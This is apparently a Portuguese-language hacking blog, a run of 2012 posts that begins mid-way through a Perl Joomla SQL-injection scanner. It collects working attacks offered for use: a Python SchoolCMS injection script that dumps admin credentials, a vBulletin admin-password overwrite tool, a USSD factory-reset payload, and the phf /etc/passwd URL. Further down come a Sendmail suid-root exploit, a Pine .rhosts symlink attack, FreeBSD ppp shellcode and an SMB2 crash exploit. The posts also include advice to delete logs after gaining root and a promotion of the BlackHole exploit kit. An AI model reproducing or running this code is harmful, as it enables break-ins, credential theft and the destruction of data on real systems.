$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_casino) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_doqment&cid=-999 .$com_doqment.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_doqment) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_alfresco&task=edit&id_pan=999 .$com_alfresco.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_alfresco) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_countries&locat=999 .$com_countries.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_countries) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}


print q{
################################################## ###
#X-h4ck
#h4ck0ff ~ sacred legion
#www.Pirate.AL
################################################## ###
};

segunda-feira, 24 de dezembro de 2012

SchoolCMS SQL Injection [0DAY]

#Title: SchoolCMS SQL Injection
Code:
#Date: 11/28/12
#Author: Dyme
#Vendor: www.poweritschools.com
#Google Dork: inurl:/old_core/newsletter.php
#Tested on: Windows 8, Ubuntu 12.04

The vulnerability was found in the newsletter.php script.

#!/usr/bin/python
import urllib2
import re

def get_sauce(site):
    response = urllib2.urlopen(site)
    page_source = response.read()
    return page_source

def inject(site):
    eqpos = site.find("=");
    nsitelist = list(site)
    nsitelist.insert(eqpos+1, "-")
    nsite = ''.join(nsitelist)
    dump = open('dump.txt', 'w')
    limit = 0
    syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+​from+authuser+LIMIT+" + str(limit) + ",1--"
    sauce = get_sauce(syntax)
    while "Error : Unable to access the templates directory" in sauce:
        syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+​from+authuser+LIMIT+" + str(limit) + ",1--"
        sauce = get_sauce(syntax)
        if "Error : Unable to access the templates directory" in sauce:
            r = re.findall(">(.+):(.+)  ", sauce)[0]
            print r[0] + ":" + r[1]
            dump.write(r[0] + ":" + r[1] + "\n")
            limit += 1
        else:
            print "###########################################"
            print "#All logins successfully dumped           #"
            print "#Logins saved in username:password format #"
            print "#Logins dumped to dump.txt                #"
            print "#Bye!                                     #"
            print "###########################################"

print " ______                               "
print "|_   _ `.                             "
print "  | | `. \ _   __  _ .--..--.  .---.  "
print "  | |  | |[ \ [  ][ `.-. .-. |/ /__\\ "
print " _| |_.' / \ '/ /  | | | | | || \__., "
print "|______.'[\_:  /  [___||__||__]'.__.' "
print "          \__.'                       "
print "######################################"
print "#Title: SchoolCMS SQL Injection      #"
print "#Date: 11/28/12                      #"
print "#Author: Dyme                        #"
print "#Vendor: www.poweritschools.com      #"
print "#Tested on: Windows 8, Ubuntu 12.04  #"
print "######################################"

site = raw_input("Vulnerable link: ")
inject(site)

sábado, 6 de outubro de 2012

Wireshark 1.6.7 Local Denial Of Service


 Poc Para Causar um Denial Of Service no Wireshark 1.6.7:


http://pastebin.com/hc7iNv4s

Gedit 0DAY

# Exploit Title: Gedit <=3.2.6 Local Denial Of Service
# Date: 06/10/2012 10:40
# Author: 0x414141
# Vendor or Software Link: http://projects.gnome.org/gedit/
# Version: 3.2.6
# Category:: local
# Tested on: Linux Mint
 
PoC:
#!/usr/bin/perl
 
my $arquivo = 'crafted';
 
open(crafted, ">$arquivo");
 
print crafted "\x41\x42\x01"x2000000;
 
close(crafted);
 
 
print "$arquivo gerado com sucesso.\n";
 
 
#nullr00t 2012-2012

quarta-feira, 3 de outubro de 2012

Tudo o que você precisa saber sobre USSD Exploit

Ontem vimos que o problema de segurança do Android é mais grave do que se pensava inicialmente. Não apenas os smartphones da Samsung são afetados, mas uma série de outros dispositivos. Nós trazemos agora uma visão geral sobre o assunto.



A pedra no meio do caminho

Em 21 de setembro, o desenvolvedor indiano Ravi Borgaonkar realizou uma palestra intitulada “O abuso de códigos USSD em redes móveis” durante a conferência de segurança Ekoparty, em Buenos Aires. Para demonstrar os graves problemas de segurança associados a esta questão, ele apagou um Samsung Galaxy S2 visitando um site malicioso através do dispositivo.


Como isso aconteceu?

Borgaonkar demonstrou o código USSD *2767*3855# no Galaxy S2, que redefine o telefone para as configurações de fábrica, um processo que é realizado de maneira diferente em diferentes modelos Android. Em alguns, como o HTC One X, o dispositivo pergunta se deseja ou não excluir todos os seus aplicativos e restaurar o seu telefone para as configurações de fábrica, ou se você quer fazer isso e apagar todas as suas fotos, músicas e arquivos pessoais guardados para o cartão SD. No Galaxy S3, o processo (apenas) elimina todos os seus aplicativos, dados de aplicativos do sistema e configurações.

 

O que é um código USSD?

Códigos USSD fazem com que o telefone execute ações. Eles são usados ​​principalmente pelas operadoras de rede para fornecer aos clientes acesso fácil a serviços pré-configurados: encaminhamento de chamada, consulta de saldos, multifunções SIM - tudo controlado facilmente pelo usuário através do telefone (uma combinação de números e letras, por exemplo, *111#) e basta pressionar o botão "Ligar" no meio do processo.
Estes atalhos também são usados ​​por muitos fabricantes, afim de controlar as funções do sistema. Mas eles são destinados principalmente para uso interno e, por isso, raramente são comunicadas para o exterior.

Onde está a violação de segurança?

Para executar um código USSD, você deve inseri-lo no teclado do seu telefone e pressionar “Ligar”. O que Borgaonkar descobriu é que este código executa automaticamente em segundo plano, sem que o usuário note que a ação está acontecendo.
Para isso, ele usou um recurso que pertence ao repertório padrão dos smartphones: o link do navegador com o aplicativo de telefone (o discador). Isto é: Se eu digitar no navegador um número de telefone irá abrir diretamente o aplicativo de telefone com o número e só precisamos clicar em “Ligar” para que execute o processo. Para isso, é preciso um código HTML:

<a href="tel:xyz">Clique aqui para ligar diretamente</a>

Agora podemos substituir perfeitamente o número do telefone "xyz" pelo código USSD como *2767*3855#, facilmente. Usando nosso exemplo ficaria assim:

<a href="tel:*2767*3855#">Clique aqui para ligar diretamente</a>

O comando acima assume, no entanto, que o usuário clicou em um link, de modo que o aplicativo de telefone dá início. Borgaonkar incorporou este comando em um frame, que se parece com a estrutura abaixo:

<frameset><frame src=“tel:*2767*3855#" /></frameset>

Se esta estrutura for colocada em um site na Internet, qualquer telefone que acesse esta página ligará imediatamente para este número, sem mais investigação de segurança. Porém, este não é o problema, porque quando vou a um site do tipo malicioso com meu smartphone, o aplicativo de telefone abre, mas tenho explicitamente que toque em "Ligar" para que algo aconteça e execute uma ação.
A falha de segurança é que alguns smartphones não requerem certas interações com o usuário. Em vez disso, a chamada é imediatamente executada no fundo. E se esta chamada de fundo esconde um atalho correspondente para um código USSD, aí é que mora o problema. Na demonstração de Borgaonkar isso significa que o Galaxy S2 pode visitar um site malicioso e começar imediatamente o reset de fábrica sem o usuário sabe o que está acontecendo.

Portanto, não é um problema de segurança exclusivo da Samsung, mas sim do Android?

Sim. Ao executar o código USSD em segundo plano, através de um site malicioso, este parece ser um problema entre fornecedores. A Samsung só teve a infelicidade de ter um de seus dispositivos usados para fins de demonstração. Até o momento, este problema já foi demonstrado nos aparelhos da Motorola e da HTC também.

Existem outros pontos de entrada?

Sim, todos os aplicativos que tem acesso ao seu navegador podem executar isso automaticamente via website. Estes incluem os QR codes, NFC tags e mensagens WAP Push.
Dois Galaxy S3 depois de visitar o local de teste http://www.isk.kth.se/ ~ rbbo / testussd.html. O modelo da esquerda roda o mais recente firmware da Samsung (Android 4.1); o da direita executa com o CM9 (Android 4.0.4) / (c) AndroidPIT

O telefones são afetados?

Até o agora, notamos que o fabricante e a versão do Android são importantes para decidir se o seu dispositivo está ou não está em risco. Dispositivos que funcionar com Android 4.1 Jelly Bean parecem não ser afetados. No entanto, dispositivos que funcionam com Android 4.0.1 e 4.0.3 apresentaram risco. Se o código USSD é acessado via Chrome ou pelo browser nativo do Android estes dispositivos correm sérios riscos de serem afetados.
Os seguintes modelos foram afetados até o momento:
  • Samsung Galaxy S3 running Android 4.0.4
  • Samsung Galaxy S2
  • Samsung Galaxy Ace, Beam and S Advance
  • HTC One W
  • HTC One X
  • HTC Sensation (XE) rodando Android 4.0.3
  • HTC Desire HD
  • HTC Legend
  • HTC Desire Z
  • Motorola Milestone
  • Motorola Atrix 4G
  • Motorola Razr rodando Android 2.3.6
  • Huawei Ideos

Para saber se o seu celular pode ser afetado (sem colocar em perigo o seu aparelho), basta visitar o site identificado por Borgaonkar: http://www.isk.kth.se/ ~ rbbo / testussd.html. Se o seu telefone exibir imediatamente o número de IMEI, então o modelo executa comandos USSD no fundo sem avisá-lo. Pois é!

Como posso proteger meu telefone?

Se você instalou um discador alternativo, você deveria sempre receber uma mensagem perguntando sobre qual aplicativo de telefone você quer usar para executar a chamada. Você deve ter cuidado para não definir qualquer discador como um padrão, assim, a caixa de diálogo sempre vai aparecer.
Além disso, o desenvolvedor e membro da comunidade do AndroidPIT, Joerg Voss também criou uma pequena ferramenta que emula como um discador e faz com que o código pare de trabalhar automaticamente, assim você pode se proteger contra estes ataques sem ter que baixar um discador completo. Você pode o NoTelURL instalado diretamente na loja Google Play.

Em todos os casos, antes de cada chamada uma caixa de diálogo alternativa aparece. Por enquanto, não existem soluções mais interessantes. Os fabricantes devem fornecer atualizações. Por isso, a Samsung já anunciou um patch para estes modelos até o momento afetados.

Conclusão: Qual é o risco para o meu celular?

O risco é que, ao visitar um site, um código USSD comece a correr em segundo plano, o que é, sem dúvida, uma violação grave de segurança. No entanto, você ainda não deve entrar em pânico: até agora, nenhum caso desta natureza foi confirmado, apenas a falha de segurança foi anunciada.

domingo, 30 de setembro de 2012

BlackHole Exploit Kit 2.0 Lançado! (Coleção de Módulos Últimas Exploit)

 
 
Blackhole explorar kit - que é, até agora reconhecido como o exploit kit de maior sucesso, que inclui uma coleção de exploits para tirar vantagem da vulnerabilidade na máquina do alvo baixar malwares e infectar a vítima, agora ficou mais poder completo como Os desenvolvedores BH desencadearam uma nova versão do seu kit de ferramentas de exploração na rede. Com BlackHole 2,0 , o software tem sido "reescrita a partir do zero" para enganar antivírus e firewall, disse que os desenvolvedores desconhecidos em um anúncio de lançamento de língua russa no Pastebin . Em sua postagem, anunciar novos recursos, como URLs de exploração temporárias que são válidos apenas por alguns segundos, tornando-os mais difíceis de analisar. As outras características são também bastante digna e faz dele um kit muito mais rápido explorar como a nova versão não depende de plugindetect para determinar o Java versão instalada. Isto irá acelerar a rotina de download de malware. Como o link para o conteúdo malicioso foi facilmente identificada por software de segurança anterior, a 2,0 BlackHole vem com um recurso que permite que o cliente escolha o link. Os criadores do kit façanha alegam que desta forma nenhum dos comerciais soluções antivírus é capaz de detectá-lo. Façanhas antigas que estavam causando o navegador acidente foram removidos. 
Um total de 16 melhorias foram reivindicadas a ser feito no painel BlackHole do administrador. Agora é mais rápido, as estatísticas são mais fáceis de visualizar e telefones celulares e do Windows 8 foi adicionado para permitir aos clientes ver exatamente quais tipos de dispositivos estão infectados. O preço para os serviços são muito comparativa. Tudo o que você precisa é de intenção criminosa e dinheiro. O kit de ferramentas agora podem até mesmo ser alugado por US $ 50 por dia e será executado em um servidor que é de propriedade da equipe BlackHole. A taxa de licença anual para os criminosos que usam seus próprios servidores é $ 1.500 . Informações detalhadas sobre BH 2.0 pode ser aqui .

sexta-feira, 21 de setembro de 2012

Vbulletin Admin Password Changer

[CODE]

<?php
/*
| Coded By IraQiaN-r0x
*/
//Style & Designe HTML Code
echo '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>R00T@vBulletin ~</title>
<style type="text/css">
*{margin: 0; padding: 0;}
body{text-align: center;
font: 11px Tahoma;
color: #333333;
background: #EEEEEE url(images/background.gif) repeat-x 0 0;
}
a{color:red;
text-decoration: none;
}
a:hover {text-decoration: none;
color: #ff0000;
}
.box {background-color: #FFFFFF;
border: 1px solid #DDDDDD;
padding: 6px;
margin-bottom: 10px;
width : 40%;
}
.box h3 {background-color: red;
color: #ffffff;
font-size: 11px;
padding: 4px;
margin-bottom: 5px;
}
#comments form p {margin-bottom: 5px;}
#comments form input {margin-right: 5px;}
#comments form input, textarea {border: 1px solid #cccccc;
font-size: 11px;
font-family: tahoma;
padding: 4px;
background-position: 4px 4px;
background-repeat: no-repeat;
}
#comments form input {border: 1px solid #cccccc;
}
#comments form textarea {padding: 4px 4px !important;
border: 1px solid #cccccc;
}
#comments form button {border: 1px solid #a0a0a0;
font-size: 1em;
font-family: Verdana;
padding: 2px 6px;
}
</style>
</head>
<body>
<br />
<br />
<br />
<div align="center">
<div class="box">
<h3>Update vBulletin aDmin pAsswOrd</h3>

';
//Start Of Code
switch($_GET[action])
{default:$url = $_SERVER['HTTP_HOST'];
PRINT '
<div id="comments"><form id="form1" onsubmit="document.getElementById(\'form1\').style.display = \'none\';document.getElementById(\'loading\').style.display = \'none\';" name="form1" method="post" action="?action=Start"><table width="65%" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td height="35">Database Host : </td><td height="35">
                <input name="DBHost" type="text" id="DBHost" value="localhost"  /></td></tr><tr><td width="41%" height="35">Database Name : </td><td width="59%" height="35"><input name="DBName" type="text" id="DBName" /></td></tr><tr><td height="35">Database Username : </td><td height="35"><input name="DBUser" type="text" id="DBUser" value="root" /></td></tr><tr><td height="35">Database Password : </td><td height="35"><input name="DBPass" type="text" id="DBPass" /></td></tr><tr><td height="35">Forum URL : </td><td height="35"><br><input name="Url" type="text" id="Url" value="'.$url.'" /><br />
                <span style="font-size: 10px">Without <font color="#FF0000">/</font> in The End Of Domain</span></td></tr><tr><td height="35">Admin ID : </td><td height="35"><input name="adminId" type="text" id="adminId" value="1" size="2" maxlength="10" /></td></tr></table><br /><input type="submit" name="Submit" value="Go Now!" /></form></div><div id="loading" style="display:none;">Please Wait...</div>
';
break;
case Start:$Connect = @mysql_select_db($_POST[DBName],mysql_pconnect($_POST[DBHost],$_POST[DBUser],$_POST[DBPass]));
$Update  =@mysql_query("UPDATE `user` SET `password` = 'bf99d80cd64818d4f8e63ed2af5fa79a',`salt` = 'I_d' WHERE `userid` = '".$_POST[adminId]."'"); //MD5 & Salt Password
$url  = $_POST[Url].'/admincp';
if($Connect)
{echo '<b style="color:green;">Connected To Database !</b><br>';
}else{
echo '<b style="color:red;">Error : Could Not Connect To Database !!</b><br>';
}if($Update){
echo '<b style="color:green;">Password Has Been Updated !</b><br>';
}else{
echo '<b style="color:red;">Error : Could Not Update The Password</b><br>';
}if($Update && $Connect){
echo '<meta http-equiv="refresh"content="3;URL='.$url.'"/><b style="color:green;">Please Wait 3 Seconds ..</b><br>';
}
break;
}
//End Of Code

//Footer HTML
echo '
</div>
</div>Powered By <a href="http://vb.iraqbugs.com/">IRAQbugs</a> 2011<br><br>
Coded by <a href="http://vb.iraqbugs.com/member.php?u=1"target="_blank">IraQiaN-r0x</a>
</body>
</html>
';
//Coded By IraQiaN-r0x
 ?>[/CODE]

domingo, 9 de setembro de 2012

Hacking Webpages

Hacking Webpages
The Ultimate Guide
By Virtual Circuit and Psychotic

Well Psychotic wrote one of the most helpful unix text files in cyberspace but wi
th the mail that we recieved after the release of our famous 36 page Unix Bible w
e realised that unix isn't for everybody so we decided that we should write on an
other aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "
Hacking Webpages With a few Other Techniques."  We will discuss a few various way
s of hacking webpages and getting root.  We are also going to interview and quest
ion other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous
ftp access into a webpage. First you need learn a little about the password file.
..

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the par
t that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little differen
ce, it's shadowed. Shadowed password files don't let you view or copy the actual
encrypted password.  This causes problems for the password cracker and dictionary
 maker(both explained later in the text). Below is another example of a shadowed
password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/
false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they
are disguised as an * as well.

Now that you know a little more about what the actual password file looks like yo
u should be able to identify a normal encrypted pw from a shadowed pw file. We ca
n now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the file
s vary from system to system. 1.The first step that you would take is to download
 or copy the file. 2. The second step is to find a password cracker and a diction
ary maker. Although it's nearly impossible to find a good cracker there are a few
 ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, B
rute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionar
y file...  When you start a cracking prog you will be asked to find the the passw
ord file. That's where a dictionary maker comes in. You can download one from nea
rly every hacker page on the net.  A dictionary maker finds all the possible lett
er combinations with the alphabet that you choose(ASCII, caps, lowercase, and num
eric letters may also be added) .  We will be releasing our pasword file to the p
ublic soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we
know it will be one of the largest in circulation. 3. You then start up the crack
er and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybod
y already knows it and most servers have already found out about the bug and fixe
d it. But since I have been asked questions about the phf I decided to include it
.

The phf technique is by far the easiest way of getting a password file(although i
t doesn't work 95% of the time). But to do the phf all you do is open a browser a
nd type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get t
he pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complic
ated then hacking through ftp or using the phf. Before you can setup an exploit y
ou must first have a telnet proggie, there are many different clients you can jus
t do a netsearch and find everything you need.
It’s best to get an account with your target(if possible) and view the glitches f
rom the inside out. Exploits expose errors or bugs in systems and usually allow y
ou to gain root access. There are many different exploits around and you can view
 each seperately. I’m going to list a few below but the list of exploits is endle
ss.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it
 up:

cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);     
 }                                            
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" "
 -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi

and now on to another exploit. I’m going to display the pine exploit through linu
x. By watching the process table with ps to see which users are running PINE,  on
e can then do an ls in /tmp/ to gather the lockfile names for each user.  Watchin
g the process table once again will now reveal when each user quits PINE or runs
out of unread messages in their INBOX, effectively deleting
  the respective lockfile.

  Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a ge
neric example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE'
s process id as its contents.  One may now simply do an echo "+ +" > /tmp/.hamors
_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while cat
luvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I’m going to show. Exploita
tion script for the ppp vulnerbility as described by no one to date, this is NOT
FreeBSD-SA-96:15. Works on
  FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set
 it up:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE     156     /* size of the bufer to overflow */

#define OFFSET          -290    /* number of bytes to jump after the start
                                   of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
        char *buf = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16
bytes */
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16
bytes */
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20
bytes */
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15
bytes, 57 total */
  
        int i,j;

        buf = malloc(4096);

        /* fill start of bufer with nops */

        i = BUFFER_SIZE-strlen(execshell);

        memset(buf, 0x90, i);
        ptr = buf + i;

        /* place exploit code into the buffer */

        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell[i];

        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;

        ptr = (char *)addr_ptr;
        *ptr = 0;

        setenv("HOME", buf, 1);

        execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you’ve gotten root "what’s next?" Well the choice is up to you but I wou
ld recommend changing the password before you delete or change anything. To chang
e their password all you have to do is login via telnet and login with your new a
ccount. Then you just type: passwd  and it will ask you for the old password firs
t followed by the new one. Now only you will have the new pw and that should last
 for a while you can now upload you pages, delete all the logs and just plain do
your worstJ Psychotic writes our own exploits and we will be releasing them soon,
 so keep your eyes open for them. We recommend that if you are serious about lear
ing ethnical hacking that you download our Unix Bible.

~~PSYCHOTIC~~
conteudo Deep'

terça-feira, 4 de setembro de 2012

Ndiff

Ndiff é uma ferramenta que pode ser usada para comparar dois arquivos de varredura nmap e destaca quaisquer alterações entre a ordem them.In comparar os exames, os arquivos nmap deve ser salvo no texto ou format.Ndiff xml irá apontar as diferenças entre eles para facilitar a comparação usando sinais de mais e de menos. 

 Vamos dizer que queremos comparar duas varreduras de um único host.We vai usar a opção de-boi e um filename.xml que irá salvar as saídas nmap em um arquivo xml.


Salvar os resultados em um arquivo XML - 1 de digitalização
 
Salvar os resultados em um arquivo XML - Scan 2
Como podemos ver a partir do primeiro exame o anfitrião tem apenas duas portas abertas, enquanto no segundo tem 5.Now vamos tentar comparar esses dois resultados com a comparação Ndiff.The pode ser feito muito facilmente apenas usando o comando ndiff arquivo [. xml filename2.xml]
 

ndiff - Comparação de duas varreduras nmap
 
A imagem acima ilustra as diferenças entre estes dois exames que temos realizado no host.The mesmo sinal de mais (+) destaca as diferenças do segundo arquivo em relação com o primeiro, enquanto o sinal de menos (-) sinal indica as diferenças da primeira arquivo, em comparação com o second.Specifically no exemplo acima, podemos ver que a porta de 135,1111 e 3389 tem o sinal de adição, o que significa que, no segundo exame foram encontradas estas portas abertas, enquanto no primeiro exame dessas portas estavam fechadas.

Como alternativa, pode usar a opção-v (verbose mode) que irá exibir toda a saída desses dois arquivos xml e vai destacar as diferenças com os sinais de mais e menos como antes.
 
ndiff modo detalhado
 
Ndiff também fornece a capacidade de produzir os resultados na saída XML com a opção-xml option.This é útil em casos onde queremos importar as informações do Ndiff em uma ferramenta de terceiros que usa esse formato.
 
ndiff - saída xml

quinta-feira, 2 de agosto de 2012

Patator a multi-purpose brute-forcer tool

descrição

Patator é um multi-purpose bruta forcer, com um design modular e um uso flexível. Basicamente, o autor se cansou de usar Medusa, Hidra, ncrack, módulos auxiliares Metasploit, scripts nmap NSE e afins, porque:

Ou eles não funcionam ou não são fiáveis ​​(falsos negativos várias vezes no passado)
Eles são lentos (não multi-threaded ou não testar várias senhas dentro da mesma conexão TCP)
Eles não têm recursos muito úteis que são fáceis de código em python (ex. interativo de tempo real)
Basicamente, você deve dar patator uma tentativa, uma vez você se decepciona por Medusa, Hidra ou outras ferramentas de força bruta e estão prestes a codificar seu próprio script pequeno, porque patator permitirá que você:

Não escrever o mesmo código mais e mais
Executar multi-threaded
Benefício para recursos úteis, tais como os comandos de execução interativos, registro de resposta, etc
Atualmente ele suporta os seguintes módulos:


rate valid users using the SMTP VRFY command
smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command
http_fuzz : Brute-force HTTP/HTTPS
pop_passd : Brute-force poppassd (not POP3)
ldap_login : Brute-force LDAP
smb_login : Brute-force SMB
mssql_login : Brute-force MSSQL
oracle_login : Brute-force Oracle
mysql_login : Brute-force MySQL
pgsql_login : Brute-force PostgreSQL
vnc_login : Brute-force VNC
dns_forward : Forward lookup subdomains
dns_reverse : Reverse lookup subnets
snmp_login : Brute-force SNMPv1/2 and SNMPv3
unzip_pass : Brute-force the password of encrypted ZIP files
keystore_pass : Brute-force the password of Java keystore files
The name “Patator” comes from this tv interview clip – patator

  Mais Informações download

quarta-feira, 4 de julho de 2012

### MS Windows Vista / 7 / 2008 Server- Exploit DOS ### 9 09 2009

Ao ser executado o exploit estabelece comunicação com o alvo e através da porta 445 e causa o DOS no alvo utilizando o protocolo SMB, que tem um falha ao tratar cabeçalhos mal formados que são utilizados no início da comunicação entre cliente e servidor, para determinar qual a versão do protocolo SMB que será utilizada na comunicação. Sabendo desta falha é enviado um payload com cabeçalho mal formado que acaba causando um despejo de memória e é exibida instantaneamente a tela azul da morte na máquina alvo.

Abaixo segue o fonte do exploit (extraído do site milw0rm aqui) que diga-se de passagem é extremamente simples …

#!/usr/bin/python

# When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field it dies with a

# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket

from time import sleep

host = “IP_ADDR”, 445

buff = (

“\x00\x00\x00\x90? # Begin SMB header: Session message

“\xff\x53\x4d\x42? # Server Component: SMB

“\x72\x00\x00\x00? # Negociate Protocol

“\x00\x18\x53\xc8? # Operation 0×18 & sub 0xc853

“\x00\x26?# Process ID High: –>  :)   normal value should be “\x00\x00?

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”

“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54?

“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31?

“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00?

“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57?

“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61?

“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”

“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”

“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”

